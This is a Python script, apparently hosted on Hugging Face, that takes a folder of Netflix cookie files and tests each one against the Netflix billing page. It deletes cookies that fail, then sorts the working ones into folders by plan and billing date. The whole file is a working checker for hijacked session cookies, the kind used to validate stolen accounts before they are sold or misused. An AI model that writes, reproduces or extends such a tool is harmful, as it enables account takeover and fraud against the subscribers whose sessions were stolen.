Team Ai
Apppublic

hashir672/Python-red-gen-space

sourceHugging Faceupdated 2y agoView on Hugging Face
0likes
cookie_checker.py122 linesDownload Raw Back to root
1import re2import requests3from bs4 import BeautifulSoup4from deep_translator import GoogleTranslator5import glob6import os7import shutil8import string9import random10import sys11import time12import json13 14loginPageCount = 015membershipCount = 016noMembershipCount = 017def parseCookieFile(cookiefile):18  x = ""19  """Parse a cookies.txt file and return a dictionary of key value pairs20    compatible with requests."""21 22  cookies = {}23  with open(cookiefile, 'r') as fp:24    for line in fp:25      if not re.match(r'^\#', line):26        lineFields = line.strip().split('\t')27        try:28          cookies[lineFields[5]] = lineFields[6]29 30        except:31        #   print("Invalid cookie")32          pass33 34    if x == "fail":35      return "fail"36    else:37      return cookies38 39 40def getNetflixInfo(cookiefile):41  global loginPageCount 42  global membershipCount 43  global noMembershipCount 44  cookies = parseCookieFile(cookiefile)45  # print(cookies)46  if cookies != "fail":47 48    print("a")49    r = requests.get("https://www.netflix.com/BillingActivity",50                     cookies=cookies)51    print(r.url)52    if "login" in r.url:53      loginPageCount = loginPageCount+154      print("Login Page")55      os.remove(cookiefile)56    else:57      soup = BeautifulSoup(r.content, "html.parser")58      try:59        billingDate = soup.find("div", {60          "data-uia": "streaming-next-cycle"61        }).get_text()62 63        planName = soup.find("div", {"data-uia": "plan-name"}).get_text()64 65        billingDate = GoogleTranslator(source='auto',66                                       target='en').translate(billingDate)67        try:68          lang = soup.find("html", {"lang": 'en'}).get_text()69          lang = "English"70        except:71          lang = ""72          pass73        planName = GoogleTranslator(source='auto',74                                    target='en').translate(planName)75 76        print(billingDate + " " + planName + " " + lang)77        S = 378        ran = ''.join(79          random.choices(string.ascii_uppercase + string.digits, k=S))80        try:81            os.makedirs("../Membership")82        except:83          pass84        shutil.move(85          cookiefile, "../Membership/" + billingDate + " " + planName + " " +86          lang + " (" + str(ran) + ").txt")87        membershipCount = membershipCount+188 89      except:90        S = 1091        ran = ''.join(92          random.choices(string.ascii_uppercase + string.digits, k=S))93        try:94            os.makedirs("../NoMembership")95        except:96          pass97        shutil.move(cookiefile, '../NoMembership/NoMember' + str(ran) + ".txt")98        noMembershipCount=noMembershipCount+199  else:100 101    os.remove(cookiefile)102 103 104n = 0105try:106    os.chdir('./cookies')107except:108  print("Cookies folder not found!\nThe name of cookie folder should me 'cookies'.\nClosing in 5 seconds...")109  time.sleep(5)110  sys.exit()111for fileName in glob.glob("*.txt"):112  n += 1113#   print(n)114  # print(fileName)115  getNetflixInfo(fileName)116 117if n==0:118  print("Cookie folder is empty")119os.chdir('../')120 121 122print("========================\nInvalid cookies: "+str(loginPageCount)+"\nMembership Cookies: "+str(membershipCount)+"\nValid cookies (no membership): "+str(noMembershipCount))